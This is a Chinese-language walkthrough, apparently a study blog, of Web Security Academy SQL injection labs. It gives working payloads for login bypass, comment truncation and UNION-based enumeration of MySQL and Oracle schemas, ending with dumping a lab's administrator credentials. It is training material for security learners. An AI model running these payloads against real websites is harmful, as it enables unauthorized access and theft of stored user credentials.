第一章: SQL injection帳密繞過
題目1:
題目source code:
var query = "SELECT name FROM user where username = '" + username + "' and password = '" + password + "'";
解答
username: admin
password: unknown' or '1'='1
query: SELECT name FROM user where username = 'admin' and password = 'unknown' or '1'='1'
unknown後面的'
很重要。
題目2:
如果某個網站可以輸入以下網址來查詢:
https://insecure-website.com/products?category=Gifts
而查詢語句是:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
這source code代表
- all details (*)
- 從products這個table撈
- 從projects這個table中的Gifts的category撈
- and released is 1.
有release = 1那很可能有release = 0,可能代表未公開商品。
如果輸入
https://insecure-website.com/products?category=Gifts'--
這會使查詢語句變成:
SELECT * FROM products WHERE category = 'Gifts'--' AND released = 1
--
是sql語句中的註解符號,所以後面的AND release = 1
會變成沒有用,造成未公開商品暴露。
如果輸入
https://insecure-website.com/products?category=Gifts'+OR+1=1--
這會使查詢語句變成:
SELECT * FROM products WHERE category = 'Gifts' OR 1=1--' AND released = 1
這代表category是gifts或是1=1都可以,而1=1又永遠為真,所以會暴露所有category的商品。
Lab 1:
https://0a90000f0417836082c3c968005a009e.web-security-academy.net/filter?category=Gifts
source code:
SELECT * FROM products WHERE category = 'Gifts' AND released = 1
sql指令: (加在網址的Gifts後面)
用'+OR+1=1--
:
Lab 2:
點右上角的account,會出現類似題目1的畫面,解法也跟題目1相同。name依題目要求輸入administrator,密碼用aaa' or '1'='1
即可:
第二章:UNION 型 SQL 注入
SQL 語法的 UNION 的關鍵字可執行多個 SELECT:
SELECT a FROM table1 UNION SELECT b FROM table2
回傳包含 table1 的 a 行 與 table2 的 b 行的值:
限制條件:
前後的資料欄位數量必須相同,才能夠合併。
每一欄的資料類型必須兼容: 不可以某一欄只接受數字,但是你卻嘗試將字元型的也併入
關於限制條件1: 如何確認資料欄位數量?
假設原 SQL 中, SELECT 了三個欄位 (分別為 id、account、password)
由於原SQL語法只有 SELECT 三個欄位,所以當駭客測試到 ORDER BY 4 就會回報錯,駭客就可以得知原語法只有三個欄位:
<原SQL語法> ORDER BY 1;
<原SQL語法> ORDER BY 2;
<原SQL語法> ORDER BY 3;
<原SQL語法> ORDER BY 4;
關於限制條件2: 如何確認資料類型?
目前已經得知 SELECT 三個欄位有3個,但是駭客不知道資料庫每個欄位的資料類型 (大致可分為數字或字元)。由於數字可以被資料庫當作字元,字元不能被當作數字,所以我們使用一個字元 'a' 來對每個欄位進行測試,當數據類型不相容,則會產生錯誤,若資料庫中 id 欄位只接受數字,則在 SELECT 'a', NULL, NULL 指令中會顯示錯誤
<原SQL語法> UNION SELECT 'a', NULL, NULL
<原SQL語法> UNION SELECT NULL, 'a', NULL
<原SQL語法> UNION SELECT NULL, NULL, 'a'
如何得知欄位名稱?
假設原 SQL 語法如下:
SELECT `id`, `name`
FROM `User`
WHERE `id` = {id};
想使用的union攻擊如下:
SELECT `id`, `name`
FROM `User`
WHERE `id` = 0
UNION SELECT NULL, `content`
FROM `Secret`;
如何知道上例中的 Secret(database中的table)、 content(table中的column)的名稱? 另外,要怎麼知道union select後面需要接幾個(就是要知道有幾欄)?(上面已有說明)
資料庫元素由大到小: database -> table -> column,這也是查詢的順序。
知道databese名稱:
在 MySQL / MariaDB 中,預設會有一個 database 儲存資料庫的 schema 資料,稱為 information_schema。
information_schema.schemata: 抓取 database 的名稱
利用 UNION,我們可以構建這樣的 SQL 語法,取得資料庫名稱:
<原SQL語法>
UNION SELECT NULL, `SCHEMA_NAME`
FROM `information_schema`.`schemata`;
information_schema.tables: 儲存了各個資料庫的 table 資訊
利用 UNION,我們可以構建這樣的 SQL 語法,取得table名稱:
<原SQL語法>
UNION SELECT NULL, `TABLE_NAME`
FROM `information_schema`.`tables`
WHERE `TABLE_SCHEMA` = 'CTF';
information_schema.columns: 抓取database的table的column的名稱
利用 UNION,我們可以構建這樣的 SQL 語法,取得 column 名稱:
<原SQL語法>
UNION SELECT NULL, `COLUMN_NAME`
FROM `information_schema`.`columns`
WHERE `TABLE_SCHEMA` = 'CTF'
AND `TABLE_NAME` = 'Secret';
有了上述資料,便可以了解資料庫中的結構,接著便可以利用 UNION 來將任意資料竊取出來:
<原SQL語法>
UNION SELECT NULL, `content`
FROM `Secret`;
結論,做lab之前,需要做的事有以下幾項:
確認欄數、確認每一欄資料類型(這兩步都是同樣網站做過一次,以後就可以不用再做)、找到對應語句。如果需要存取某個column的資料,則要繼續做以下4步驟: 確認有哪些DB,特定DB裡的所有table,鎖定可疑table列出它所有column,列出column內資料(指令: select column名稱 from table名稱)。
另外要注意的,是瀏覽器的轉譯(百分比表示法)。在網址列上,空白要打成+號、'
要打成%27、#
要打成%23。尤其是#要注意。
Lab:
目前lab網址:
https://0af50006045d1a2a80d503bb00620061.web-security-academy.net/filter?category=Gifts
step 1. 確認欄數
sql指令 (貼在Gifts後面):
'+UNION+SELECT+NULL+FROM+DUAL--
注意第一個'
超重要!
指令來源:
除了上面教的order by以外,還有另一種方式可以確認:
實行結果:
看起來是錯誤,代表1列不對,所以把語句改成如下,看是不是兩列:
'+UNION+SELECT+NULL,NULL+FROM+DUAL--
看起來是bingo了。
step 2. 確認欄位(column)的資料類型
sql指令:
'+UNION+SELECT+'test','test'+FROM+DUAL--
指令來源:
實行結果:
step 3. 確認orcale的DB版本:
sql指令:
'+UNION+SELECT+banner,+NULL+FROM+v$version--
注意banner不用加單引號!
指令來源:
Oracle SQL Injection Cheat Sheet | pentestmonkey
Find Oracle version and edition – SQL Bits
實行結果:
Lab:
跟上一題類似,也是要用sql語句查詢作業系統。
step 1. 測試有幾欄:
sql指令:
'+UNION+SELECT+NULL,NULL%23
指令來源:
最後面的--
是註解,用途把後面的語句註解掉。而MySQL的註解是#
,百分比編碼是%23。
實行結果:
跟剛剛一樣兩欄。
step 2. 列出版本
sql指令:
%27+UNION+SELECT+@@version,+NULL%23
指令來源:
MySQL SQL Injection Cheat Sheet | pentestmonkey
拼湊出SQL語句(%27就是'
,加號就是空白) :
實行結果:
Lab:
題目是要你在非orcale的資料庫,利用SQL injection找出administrator的密碼。可以參考
MySQL SQL Injection Cheat Sheet | pentestmonkey
step 1. 確認有幾欄:
sql指令:
%27+UNION+SELECT+NULL,NULL--
指令來源:
實行結果:
只要不寫什麼「internal server error」,代表欄數2是對的。
step 2. 列出資料庫:
sql指令:
%27+UNION+SELECT+schema_name,+NULL+FROM+information_schema.schemata--
指令來源:
實行結果:
step 3. 列出public這個資料庫的table:
sql指令:
%27+UNION+SELECT+NULL,+TABLE_NAME+FROM+information_schema.tables+WHERE+TABLE_SCHEMA+=+%27public%27--
指令來源:
上面列的指令跟指令來源有些不同,因為不須列出table_schema,所以以NULL代替;另外也沒有AND table_schema != ‘information_schema’,而是table_schema = public,因為是要列出public的table。下一張可能會比較像:
實行結果:
step 4. 列出public這個資料庫的users_geekak table的所有column:
sql指令:
%27+UNION+SELECT+NULL,+COLUMN_NAME+FROM+information_schema.columns+WHERE+TABLE_SCHEMA+=+'public'+AND+TABLE_NAME+=+'users_geekak'--
指令來源:
實行結果:
step 5. 列出public這個資料庫的users_geekak table的兩個column,username_kjqfzv跟password_ayysbl內容:
sql指令:
'+UNION+SELECT+username_kjqfzv,+password_ayysbl+FROM+users_geekak--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
Lab:
Lab: SQL injection attack, listing the database contents on Oracle | Web Security Academy
題目是要你在orcale的資料庫,利用SQL injection找出administrator的密碼。其實跟上一題的邏輯是一模一樣,只是指令會長的不同。Orcale的SQLi cheat sheet請參照
Oracle SQL Injection Cheat Sheet | pentestmonkey
先到頁面,隨便點一個tag如上圖紅圈處,網址後面就會出現filter?catarory=Gifts。接下來的步驟,注意sql指令都是直接貼在網址列的Gifts後面。
step 1. 確認欄位數量:
sql指令:
'+UNION+SELECT+NULL,NULL+FROM+DUAL--
指令來源:
實行結果:
只要不寫什麼「internal server error」,代表欄數2是對的。
step 2. 確認所有DB
sql指令:
%27+UNION+SELECT+DISTINCT+owner,+NULL+FROM+all_tables--
指令來源:
因為有兩欄,所以會變成多一個NULL。
實行結果:
不過這一條指令的輸出後面不會用到,所以這條指令其實沒有用。
step 3. 列出資料庫所有table
sql指令:
%27+UNION+SELECT+table_name,+NULL+FROM+all_tables--
指令來源:
實行結果:
注意上圖反藍處USERS_SNXDGH,它是可疑的table。
step 4. 列出USERS_SNXDGH table中的所有column
sql指令:
%27+UNION+SELECT+column_name,+NULL+FROM+all_tab_columns+WHERE+table_name+=+'USERS_SNXDGH'--
指令來源:
注意要改一下table_name。
實行結果:
輸出兩個column,USERNAME_JGKYJS跟PASSWORD_GUXBZE如紅圈處。
step 5. 列出上述兩個column的內容
sql指令:
'+UNION+SELECT+USERNAME_JGKYJS,+PASSWORD_GUXBZE+FROM+USERS_SNXDGH--
指令來源:
"select 欄位名稱 from table名稱"是所有資料庫共通指令。
實行結果:
可從上圖紅圈處得知帳密分別是administrator跟itjyukxtgiyep2sd0vey。
點選頁面上方My account,用剛剛得到的帳密進行登入:
成功解出lab。